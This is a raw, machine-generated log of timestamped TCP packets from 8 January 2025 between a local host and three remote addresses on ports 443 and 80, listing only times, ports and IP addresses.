Jan 8, 2025 16:21:21.921667099 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.921674967 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.921787977 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.925945044 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.926054955 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.926064968 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.926156044 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.930042028 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.930090904 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.930186987 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.930196047 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.930295944 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.934176922 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.934241056 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.934247971 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.934317112 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.938261032 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.938328981 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.938335896 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.938402891 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.941977024 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.942044020 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.942056894 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.942106009 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.945607901 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.945775032 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.945796967 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.945842028 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.949325085 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.949376106 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.949383020 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.949425936 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.952822924 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.952903986 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.952910900 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.952960014 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.956425905 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.956502914 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.964531898 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.964580059 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.964586973 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.964624882 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.964631081 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.964673996 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.964674950 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.964685917 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.964715958 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.964845896 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.965148926 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.965212107 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.965219021 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.965265036 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.966907024 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.966955900 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.966963053 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.967009068 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.968990088 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.969043016 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.969049931 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.969093084 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.971579075 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.971638918 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.971646070 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.971685886 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.973858118 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.973967075 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.973973036 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.974021912 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.977792025 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.977864027 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.977870941 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.977906942 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.977937937 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.977946997 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.977998018 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.978065968 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.979949951 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.980360985 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.980369091 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.980433941 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.982037067 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.982098103 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.982105017 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.982207060 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.984558105 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.984610081 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.984620094 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.984659910 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.986268044 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.986324072 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.986330986 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.986377954 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.989033937 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.989088058 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.989094973 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.989140987 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.990521908 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.990586042 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.990592957 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.990643024 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.993776083 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.993832111 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.993839025 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.993887901 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.995223045 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.995265007 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.995270967 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.995323896 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.998477936 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.998528004 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.998538017 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.998586893 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.999078989 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.999130011 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:21.999135971 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:21.999177933 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.003470898 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.003523111 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.003529072 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.003571987 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.003577948 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.003621101 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.003628016 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.003674030 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.007733107 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.007793903 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.007802010 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.007849932 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.007857084 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.007903099 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.007910967 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.007965088 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.012722969 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.012778997 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.012785912 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.012828112 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.012833118 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.012841940 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.012887955 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.017147064 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.017224073 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.017256975 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.017286062 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.017294884 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.017314911 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.017333031 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.020756006 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.020817995 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.020824909 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.020869970 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.020872116 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.020884037 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.020920038 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.020958900 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.021172047 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.021244049 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.024893045 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.024943113 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.025007963 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.025052071 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.025059938 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.025101900 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.025291920 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.025336981 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.028855085 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.028919935 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.028928995 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.028939009 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.028964043 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.028995037 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.028999090 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.029045105 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037076950 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037136078 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037142992 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037156105 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037182093 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037208080 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037214994 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037257910 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037367105 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037412882 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037420034 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037461996 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.037468910 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.037512064 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.038237095 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.038286924 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.040283918 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.040332079 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.040338039 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.040380001 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.040386915 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.040431023 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.041915894 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.041970015 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.045552015 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.045598984 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.045604944 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.045644999 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.045644999 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.045655012 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.045696020 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.045886040 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.045929909 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.046926022 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.046973944 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.047035933 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.047080994 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.053620100 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.053674936 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.053683043 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.053730965 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.053739071 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.053783894 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.054224968 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.054269075 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.054275036 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.054318905 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.054326057 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.054371119 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055052042 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055095911 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055103064 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055143118 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055149078 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055192947 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055733919 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055784941 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055792093 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055835962 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.055843115 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.055885077 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.056449890 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.056495905 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.057132006 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.057178974 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.057219028 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.057260990 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.057476044 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.057522058 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.057528973 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.057571888 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.059406042 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.059454918 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.059463024 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.059505939 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.059513092 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.059555054 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.061889887 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.061944008 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.061949968 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.061994076 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.061997890 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.062005997 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.062032938 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.062061071 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.065826893 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.065881968 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.065886021 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.065896034 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.065929890 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.066035986 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.066080093 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070288897 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070337057 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070344925 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070379019 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070385933 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070391893 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070411921 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070436954 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070502043 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070527077 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070585966 CET	443	49710	142.250.181.225	192.168.2.8
Jan 8, 2025 16:21:22.070599079 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.070647001 CET	49710	443	192.168.2.8	142.250.181.225
Jan 8, 2025 16:21:22.268019915 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:22.272947073 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:22.273032904 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:22.273201942 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:22.277992010 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:23.304405928 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:23.307410955 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:23.312194109 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:23.580158949 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:23.621819973 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:23.836790085 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:23.836839914 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:23.837006092 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:23.838427067 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:23.838437080 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.317670107 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.317739010 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.321376085 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.321383953 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.321708918 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.325167894 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.371325970 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.472901106 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.472969055 CET	443	49712	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.473027945 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.480253935 CET	49712	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.486007929 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:24.491024017 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:24.754890919 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:24.758546114 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.758604050 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.758790970 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.759174109 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:24.759186983 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:24.809362888 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.230787992 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:25.233901024 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:25.233938932 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:25.392756939 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:25.392838955 CET	443	49713	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:25.392982006 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:25.399487972 CET	49713	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:25.403192043 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.404401064 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.408221006 CET	80	49711	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:25.408308983 CET	49711	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.409199953 CET	80	49714	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:25.409266949 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.409346104 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:25.414115906 CET	80	49714	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:26.241235018 CET	80	49714	132.226.8.169	192.168.2.8
Jan 8, 2025 16:21:26.242645025 CET	49715	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:26.242697001 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.242813110 CET	49715	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:26.243082047 CET	49715	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:26.243093014 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.293752909 CET	49714	80	192.168.2.8	132.226.8.169
Jan 8, 2025 16:21:26.715337992 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.720532894 CET	49715	443	192.168.2.8	188.114.97.3
Jan 8, 2025 16:21:26.720563889 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.853487968 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.853564978 CET	443	49715	188.114.97.3	192.168.2.8
Jan 8, 2025 16:21:26.853663921 CET	49715	443	192.168.2.8	188.114.97.3
